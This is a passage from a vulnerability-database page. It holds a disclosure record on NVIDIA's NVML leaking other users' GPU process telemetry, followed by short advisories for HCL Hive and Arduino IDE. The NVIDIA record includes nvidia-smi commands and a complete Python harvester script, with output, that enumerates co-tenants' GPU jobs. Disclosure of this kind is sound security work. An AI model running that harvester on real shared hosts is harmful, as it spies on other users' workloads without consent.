x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)" Attacker, uid 1011, via the shipped CLI: nvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory --format=csv,noheader nvidia-smi pmon -c 3 nvidia-smi nvlink -gt d That first command, run by an unprivileged user with no group membership, is the entire exploit. Everything below is the same read straight through NVML. Captured output as uid 1011 against the uid 1000 victim: pid, process_name, used_gpu_memory [MiB], gpu_uuid 77977, /usr/local/bin/all_reduce_perf, 2288 MiB, GPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278 77977, /usr/local/bin/all_reduce_perf, 2288 MiB, GPU-fe44d319-939f-d747-de55-6802405cad8d Full PoC code, harnesses and raw evidence for both findings: <https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc&source=gmail&ust=1787513712074000&sa=E> Straight through NVML with no nvidia-smi involved. This is the complete exploit: #!/usr/bin/env python3 # unprivileged cross-UID GPU telemetry harvester # run as any local user: python3 harvest.py # pip install nvidia-ml-py (provides the `pynvml` module; the standalone # `pynvml` PyPI package is a deprecated shim as of v12) import os, pwd, pynvml def owner(pid): try: return os.stat("/proc/%d" % pid).st_uid except: return None def exe(pid): # Tries NVML first. NOTE: this direct call was not verified cross-UID here - # see the note below the output. Falls back to cmdline, never to exe. try: n = pynvml.nvmlSystemGetProcessName(pid) return n.decode() if isinstance(n, bytes) else n except Exception: # /proc/<pid>/cmdline is world-readable - this is how ps(1) shows other # users' command lines. /proc/<pid>/exe is NOT: readlink on it needs # PTRACE_MODE_READ, which this attacker does not have. try: return open("/proc/%d/cmdline" % pid,"rb").read().split(b"\0")[0].decode() except: return "?" def owner_name(u): try: return pwd.getpwuid(u).pw_name except KeyError: return str(u) # no passwd entry: LDAP, containers pynvml.nvmlInit() me = os.getuid() found = 0 for i in range(pynvml.nvmlDeviceGetCount()): h = pynvml.nvmlDeviceGetHandleByIndex(i) # cross-UID process table + per-process GPU memory for p in pynvml.nvmlDeviceGetComputeRunningProcesses(h): u = owner(p.pid) if u is not None and u != me: found += 1 print("[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s" % ( i, p.pid, u, owner_name(u), (p.usedGpuMemory or 0) >> 20, exe(p.pid))) # cross-UID per-process SM / memory-controller utilization. # arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are # returned, so a small constant drains everything the driver still buffers. try: for pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000): u = owner(pu.pid) if u is not None and u != me: print("[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%" % ( i, pu.pid, u, pu.smUtil, pu.memUtil)) except pynvml.NVMLError as e: # NVML_ERROR_NOT_FOUND here means the driver's sample buffer is empty, # NOT that the call is gated. Poll for a few seconds and retry. print(" nvmlDeviceGetProcessUtilization -> %s" % e) # device-global telemetry, no gate at all print("[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB" % ( i, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0, pynvml.nvmlDeviceGetUtilizationRates(h).gpu, pynvml.nvmlDeviceGetMemoryInfo(h).used >> 20)) if not found: print("no cross-UID GPU processes visible (is a victim workload running?)") Output: [CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB exe=/usr/local/bin/all_reduce_perf [CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB exe=/usr/local/bin/all_reduce_perf [CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41% NVML supplies the PID and the GPU memory figure. The binary path came from nvidia-smi --query-compute-apps=process_name, which is NVML-backed and returned the full path /usr/local/bin/all_reduce_perf to the unprivileged observer - that output is captured. The direct call, nvmlSystemGetProcessName(), is what the PoC above uses and it is NOT something I captured cross-UID; NVML documents NVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather than taking it from me. The captured harness resolved names through /proc. Note that /proc/<pid>/exe is not readable cross-UID, so if you fall back to procfs use /proc/<pid>/cmdline, not exe. The only field procfs is needed for is the owning UID, via stat() on /proc/<pid>. Polling nvmlDeviceGetProcessUtilization in a loop yields a per-victim SM utilization time series. What that supports on the evidence here is busy-versus-idle and job start/stop. Finer structure - step cadence, phase boundaries - is plausible but was not demonstrated, and I do not claim it. Results: 5/5 positive sessions with all seven machine-scored success criteria passing, and 2/2 negative controls (no victim workload, no cross-UID records) confirming the signal tracks the victim. For every compute-app row root could see, the unprivileged observer saw a matching row - same PID, same binary name, same GPU - in all five positive sessions. That comparison is field-level (whitespace and row order normalized, process name compared by basename), not a byte diff. All channels leak with GPU accounting mode disabled, which is the fresh default, so this is not a case of an administrator having enabled accounting. Telemetry Channels ------------------ Channel NVML API CLI Result ----------------------------- --------------------------------------- ---------------------- -------------------------- Process PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps LEAKS (redundant with ps) Binary path nvidia-smi's NVML-backed query --query-compute-apps LEAKS (captured); direct (nvmlSystemGetProcessName NOT captured) NVML call unverified Per-process GPU memory nvmlDeviceGetComputeRunningProcesses --query-compute-apps LEAKS - GPU-specific Per-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS - GPU-specific NVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink -gt d LEAKS via CLI - prior art NVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS Device power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global) Impact ------ A low-privileged tenant on a shared HPC or AI node passively monitors co-tenants in real time: who is running GPU work, which binary, the GPU memory footprint (a model-size proxy), the SM utilization timeline (training and idle cadence, step rate, job boundaries), and NVLink pair activity (distributed job topology). No computation content is read - no weights, a
Severity
No CVSS data available.
CWE
Assigner
References
Impacted products
Vendor Product Version
Nvidia Linux GPU Affected: unknown
Create a notification for this product.
Credits
Abhinav Agarwal
To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linux GPU",
          "vendor": "Nvidia",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Abhinav Agarwal"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML\n============================================================================\n\nOn a multi-user Linux GPU host where mutually untrusted users can open\nthe same /dev/nvidia* devices - the driver\u0027s default mode is 0666 - an\nunprivileged user can enumerate another user\u0027s GPU processes and\nper-process GPU telemetry through standard NVML management APIs. NVML\ndirectly returned the foreign PID, the per-process GPU-memory\nallocation and the SM utilization; nvidia-smi additionally displayed\nthe process path, but the corresponding direct\nnvmlSystemGetProcessName() call was not captured. Measured on one\nconfiguration: A100, MIG off, bare metal, two local UIDs. No root, no\ngpu/video/render group membership, no capabilities, no CUDA context of\nthe attacker\u0027s own, no performance counters, no injected traffic, no\nrace. The attacker learns, for processes belonging to other users:\nPID, per-process GPU memory allocation, per-process SM utilization,\nand - via nvidia-smi - the binary path. Read-only workload metadata;\nno GPU memory contents are read. NVIDIA reviewed the finding and\ndetermined it is expected behavior.\n\nAffected: NVIDIA Linux GPU driver, NVML management plane\nTested: 595.71.05-open; core channels also reproduced on 565.57.01-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9\n(driver-reported runtime 13.2)\nCWE: CWE-200 (exposure of information to an unauthorized actor),\nCWE-862 (missing authorization)\nStatus: Closed by NVIDIA as expected behavior. No fix. Public\ndisclosure authorized by NVIDIA PSIRT 2026-08-20.\nCVE: none assigned\nRef: Intigriti NVIDIA-W5AB0FZR\nCompanion: \"NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via\nundocumented peer-teardown ordering\" - same node, same driver, same\n0666 precondition\n\n\nRoot Cause\n----------\n\nTwo independent facts compound.\n\n(a) /dev/nvidia* is mode 0666 by driver default. This is set by the\nkernel module, not by a site udev rule.\n\n# grep -E \u0027ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly\u0027\n/proc/driver/nvidia/params\nModifyDeviceFiles: 1\nDeviceFileMode: 438\nRmProfilingAdminOnly: 1\n\n438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module\nrewrites existing device files to match its own defaults, so an\nadministrator who tightens the mode out-of-band can have it reverted\non module reload. The vendor sources agree: open-gpu-kernel-modules\ncarries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in\nkernel-open/nvidia/nv-reg.h with the comment \"The default mode is 0666\n(octal, rw-rw-rw-)\", and the driver README \"Device files\" section\ndocuments UID 0 / GID 0 / Mode 0666 as the default, adding \"Existing\ndevice files are changed if their attributes don\u0027t match these\ndefaults.\"\n\n(b) NVML management APIs apply no UID, cgroup, or capability check to\na caller holding that file descriptor. Any opener receives the\nnode-wide management view.\n\n+------------------+ +-------------------+\n| victim uid 1000 | | attacker uid 1011 |\n| CUDA workload | | no groups, Cap=0 |\n+--------+---------+ +---------+---------+\n| |\n| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)\nv v\n+-----------------------------------------------------------------------+\n| nvidia.ko -\u003e NVML management plane |\n| |\n| nvmlDeviceGetComputeRunningProcesses() -\u003e ALL pids, ALL uids |\n| nvmlDeviceGetProcessUtilization() -\u003e ALL pids, ALL uids |\n| ^ |\n| +--- no ownership check anywhere on this path|\n+-----------------------------------------------------------------------+\n\nNVML already has the concept of privilege-gating this exact call -\njust not in ordinary shared-GPU mode. From nvml.h, on both\nnvmlDeviceGetComputeRunningProcesses_v3 and\nnvmlDeviceGetMPSComputeRunningProcesses_v3:\n\n\"In MIG mode, if device handle is provided, the API returns aggregate\ninformation,\nonly if the caller has appropriate privileges.\"\n\nSo under MIG, process enumeration through the physical-device handle\nis privilege-gated. Outside MIG there is no corresponding UID\nownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3\ndocuments NVML_ERROR_NO_PERMISSION in its return list and does not\nreturn it here; nvmlDeviceGetProcessUtilization and\nnvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error\nat all.\n\nNote RmProfilingAdminOnly: 1 in the same params output. The CUPTI\nperformance-counter plane IS gated behind CAP_SYS_ADMIN on this exact\nnode - that gate was added as the fix for CVE-2018-6260. The NVML\nper-process management plane received no equivalent gate. That\nasymmetry is the finding.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node. The observer used for all captured runs:\n\nuid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)\n\nCapInh: 0000000000000000 -\u003e NONE\nCapPrm: 0000000000000000 -\u003e NONE\nCapEff: 0000000000000000 -\u003e NONE\nCapAmb: 0000000000000000 -\u003e NONE\nCapBnd: 000001ffffffffff\n\nNo sudo. Not in sudo/wheel/admin/docker/video/gpu/render.\nNo Docker socket. Cannot load kernel modules. Cannot ptrace other\nusers\u0027 processes.\n\n\nProof of Concept\n----------------\n\nVictim, uid 1000 - any long-running CUDA workload. The captured runs\nused nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a\nCUDA context works; this needs only pytorch:\n\npython3 -c \"import torch,time\nx=torch.randn(8192,8192,device=\u0027cuda\u0027)\nwhile True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)\"\n\nAttacker, uid 1011, via the shipped CLI:\n\nnvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory\n--format=csv,noheader\nnvidia-smi pmon -c 3\nnvidia-smi nvlink -gt d\n\nThat first command, run by an unprivileged user with no group\nmembership, is the entire exploit. Everything below is the same read\nstraight through NVML. Captured output as uid 1011 against the uid\n1000 victim:\n\npid, process_name, used_gpu_memory [MiB], gpu_uuid\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-fe44d319-939f-d747-de55-6802405cad8d\n\nFull PoC code, harnesses and raw evidence for both findings:\n\u003chttps://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E\u003e\n\nStraight through NVML with no nvidia-smi involved. This is the complete exploit:\n\n#!/usr/bin/env python3\n# unprivileged cross-UID GPU telemetry harvester\n# run as any local user: python3 harvest.py\n# pip install nvidia-ml-py (provides the `pynvml` module; the standalone\n# `pynvml` PyPI package is a deprecated shim as of v12)\nimport os, pwd, pynvml\n\ndef owner(pid):\ntry: return os.stat(\"/proc/%d\" % pid).st_uid\nexcept: return None\n\ndef exe(pid):\n# Tries NVML first. NOTE: this direct call was not verified cross-UID here -\n# see the note below the output. Falls back to cmdline, never to exe.\ntry:\nn = pynvml.nvmlSystemGetProcessName(pid)\nreturn n.decode() if isinstance(n, bytes) else n\nexcept Exception:\n# /proc/\u003cpid\u003e/cmdline is world-readable - this is how ps(1) shows other\n# users\u0027 command lines. /proc/\u003cpid\u003e/exe is NOT: readlink on it needs\n# PTRACE_MODE_READ, which this attacker does not have.\ntry: return open(\"/proc/%d/cmdline\" % pid,\"rb\").read().split(b\"\\0\")[0].decode()\nexcept: return \"?\"\n\ndef owner_name(u):\ntry: return pwd.getpwuid(u).pw_name\nexcept KeyError: return str(u) # no passwd entry: LDAP, containers\n\npynvml.nvmlInit()\nme = os.getuid()\nfound = 0\nfor i in range(pynvml.nvmlDeviceGetCount()):\nh = pynvml.nvmlDeviceGetHandleByIndex(i)\n\n# cross-UID process table + per-process GPU memory\nfor p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):\nu = owner(p.pid)\nif u is not None and u != me:\nfound += 1\nprint(\"[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s\" % (\ni, p.pid, u, owner_name(u),\n(p.usedGpuMemory or 0) \u003e\u003e 20, exe(p.pid)))\n\n# cross-UID per-process SM / memory-controller utilization.\n# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are\n# returned, so a small constant drains everything the driver still buffers.\ntry:\nfor pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):\nu = owner(pu.pid)\nif u is not None and u != me:\nprint(\"[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%\" % (\ni, pu.pid, u, pu.smUtil, pu.memUtil))\nexcept pynvml.NVMLError as e:\n# NVML_ERROR_NOT_FOUND here means the driver\u0027s sample buffer is empty,\n# NOT that the call is gated. Poll for a few seconds and retry.\nprint(\" nvmlDeviceGetProcessUtilization -\u003e %s\" % e)\n\n# device-global telemetry, no gate at all\nprint(\"[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB\" % (\ni, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,\npynvml.nvmlDeviceGetUtilizationRates(h).gpu,\npynvml.nvmlDeviceGetMemoryInfo(h).used \u003e\u003e 20))\n\nif not found:\nprint(\"no cross-UID GPU processes visible (is a victim workload running?)\")\n\nOutput:\n\n[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%\n\nNVML supplies the PID and the GPU memory figure. The binary path came\nfrom nvidia-smi --query-compute-apps=process_name, which is\nNVML-backed and returned the full path /usr/local/bin/all_reduce_perf\nto the unprivileged observer - that output is captured. The direct\ncall, nvmlSystemGetProcessName(), is what the PoC above uses and it is\nNOT something I captured cross-UID; NVML documents\nNVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather\nthan taking it from me. The captured harness resolved names through\n/proc. Note that /proc/\u003cpid\u003e/exe is not readable cross-UID, so if you\nfall back to procfs use /proc/\u003cpid\u003e/cmdline, not exe. The only field\nprocfs is needed for is the owning UID, via stat() on /proc/\u003cpid\u003e.\n\nPolling nvmlDeviceGetProcessUtilization in a loop yields a per-victim\nSM utilization time series. What that supports on the evidence here is\nbusy-versus-idle and job start/stop. Finer structure - step cadence,\nphase boundaries - is plausible but was not demonstrated, and I do not\nclaim it.\n\nResults: 5/5 positive sessions with all seven machine-scored success\ncriteria passing, and 2/2 negative controls (no victim workload, no\ncross-UID records) confirming the signal tracks the victim. For every\ncompute-app row root could see, the unprivileged observer saw a\nmatching row - same PID, same binary name, same GPU - in all five\npositive sessions. That comparison is field-level (whitespace and row\norder normalized, process name compared by basename), not a byte diff.\nAll channels leak with GPU accounting mode disabled, which is the\nfresh default, so this is not a case of an administrator having\nenabled accounting.\n\n\nTelemetry Channels\n------------------\n\nChannel NVML API CLI Result\n----------------------------- ---------------------------------------\n---------------------- --------------------------\nProcess PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps\nLEAKS (redundant with ps)\nBinary path nvidia-smi\u0027s NVML-backed query --query-compute-apps LEAKS\n(captured); direct\n(nvmlSystemGetProcessName NOT captured) NVML call unverified\nPer-process GPU memory nvmlDeviceGetComputeRunningProcesses\n--query-compute-apps LEAKS - GPU-specific\nPer-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS\n- GPU-specific\nNVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink\n-gt d LEAKS via CLI - prior art\nNVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS\nDevice power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)\n\n\nImpact\n------\n\nA low-privileged tenant on a shared HPC or AI node passively monitors\nco-tenants in real time: who is running GPU work, which binary, the\nGPU memory footprint (a model-size proxy), the SM utilization timeline\n(training and idle cadence, step rate, job boundaries), and NVLink\npair activity (distributed job topology).\n\nNo computation content is read - no weights, a"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-276",
              "description": "CWE-276",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-862",
              "description": "CWE-862",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:52:12Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/77"
        },
        {
          "url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/77"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0082",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77",
            "automated": true,
            "contentSha256": "eda9b97373cfa1b602256c1f71b15efde5a40742aa2d77e5e851378506b0282e",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/77",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-22T19:37:52Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:21Z",
    "dateUpdated": "2026-09-11T11:52:12Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0082"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-68825 (GCVE-0-2025-68825)

Vulnerability from cvelistv5 – Published: 2026-08-24 15:37 – Updated: 2026-08-24 20:22
VLAI
Title
HCL Hive is affected by incorrect default permissions
Summary
HCL Hive is affected by incorrect default permissions which could allow an attacker unauthorized lateral movement, container breakout, and interception of sensitive internal communications.
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
SSVC
Exploitation: none Automatable: yes Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-24 20:22 UTC
CWE
  • CWE-276 - Incorrect default permissions
Assigner
References
Impacted products
Date Public
2026-08-24 12:10
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-68825",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-24T20:22:27.346158Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-24T20:22:57.951Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "HCL Hive",
          "vendor": "HCLSoftware",
          "versions": [
            {
              "status": "affected",
              "version": "1.0"
            }
          ]
        }
      ],
      "datePublic": "2026-08-24T12:10:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "HCL Hive is affected by incorrect default permissions which could allow an attacker unauthorized lateral movement, container breakout, and interception of sensitive internal communications.\u003cbr\u003e"
            }
          ],
          "value": "HCL Hive is affected by incorrect default permissions which could allow an attacker unauthorized lateral movement, container breakout, and interception of sensitive internal communications."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-276",
              "description": "CWE-276 Incorrect default permissions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-24T15:37:00.819Z",
        "orgId": "1e47fe04-f25f-42fa-b674-36de2c5e3cfc",
        "shortName": "HCL"
      },
      "references": [
        {
          "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0131731"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "HCL Hive is affected by incorrect default permissions",
      "x_generator": {
        "engine": "Vulnogram 1.0.4"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1e47fe04-f25f-42fa-b674-36de2c5e3cfc",
    "assignerShortName": "HCL",
    "cveId": "CVE-2025-68825",
    "datePublished": "2026-08-24T15:37:00.819Z",
    "dateReserved": "2025-12-24T13:23:45.321Z",
    "dateUpdated": "2026-08-24T20:22:57.951Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-64724 (GCVE-0-2025-64724)

Vulnerability from cvelistv5 – Published: 2025-12-18 15:18 – Updated: 2025-12-18 19:06
VLAI
Title
Arduino IDE for macOS has Insecure File Permissions
Summary
Arduino IDE is an integrated development environment. Prior to version 2.3.7, Arduino IDE for macOS is installed with world-writable file permissions on sensitive application components, allowing any local user to replace legitimate files with malicious code. When another user launches the application, the malicious code executes with that user's privileges, enabling privilege escalation and unauthorized access to sensitive data. The fix is included starting from the `2.3.7` release.
Severity
4.8 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-12-18 18:51 UTC
CWE
  • CWE-276 - Incorrect Default Permissions
Assigner
References
Impacted products
Vendor Product Version
arduino arduino-ide Affected: < 2.3.7
Create a notification for this product.
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-64724",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-12-18T18:51:03.562703Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-12-18T19:06:40.437Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "arduino-ide",
          "vendor": "arduino",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.3.7"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Arduino IDE is an integrated development environment. Prior to version 2.3.7, Arduino IDE for macOS is installed with world-writable file permissions on sensitive application components, allowing any local user to replace legitimate files with malicious code. When another user launches the application, the malicious code executes with that user\u0027s privileges, enabling privilege escalation and unauthorized access to sensitive data. The fix is included starting from the `2.3.7` release."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "LOCAL",
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "LOW"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-276",
              "description": "CWE-276: Incorrect Default Permissions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-12-18T15:18:39.642Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/arduino/arduino-ide/security/advisories/GHSA-3fvj-pgqw-fgw6",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/arduino/arduino-ide/security/advisories/GHSA-3fvj-pgqw-fgw6"
        },
        {
          "name": "https://github.com/arduino/arduino-ide/pull/2805/commits/5d282f38496e96dcba02818536c0835bd684ec98",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/arduino/arduino-ide/pull/2805/commits/5d282f38496e96dcba02818536c0835bd684ec98"
        },
        {
          "name": "https://github.com/arduino/arduino-ide/releases/tag/2.3.7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/arduino/arduino-ide/releases/tag/2.3.7"
        },
        {
          "name": "https://support.arduino.cc/hc/en-us/articles/24329484618652-ASEC-25-004-Arduino-IDE-v2-3-7-Resolves-Multiple-Vulnerabilities",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://support.arduino.cc/hc/en-us/articles/24329484618652-ASEC-25-004-Arduino-IDE-v2-3-7-Resolves-Multiple-Vulnerabilities"
        }
      ],
      "source": {
        "advisory": "GHSA-3fvj-pgqw-fgw6",
        "discovery": "UNKNOWN"
      },
      "title": "Arduino IDE for macOS has Insecure File Permissions"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-64724",
    "datePublished": "2025-12-18T15:18:39.642Z",
    "dateReserved": "2025-11-10T14:07:42.923Z",
    "dateUpdated": "2025-12-18T19:06:40.437Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-64723 (GCVE-0-2025-64723)

Vulnerability from cvelistv5 – Published: 2025-12-18 15:15 – Updated: 2026-01-14 16:41
VLAI
Title
Arduino IDE for macOS has TCC Bypass via Dynamic Library Injection
Summary
Arduino IDE is an integrated development environment. Prior to version 2.3.7, Arduino IDE for macOS was configured with overly permissive security entitlements that could bypass macOS Hardened Runtime protections. This configuration allows attackers to inject malicious dynamic libraries into the application process, gaining access to all TCC (Transparency, Consent, and Control) permissions granted to the application. The fix is included starting from the `2.3.7 ` release.
Severity
4.8 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
SSVC
Exploitation: none Automatable: no Technical Impact: partial
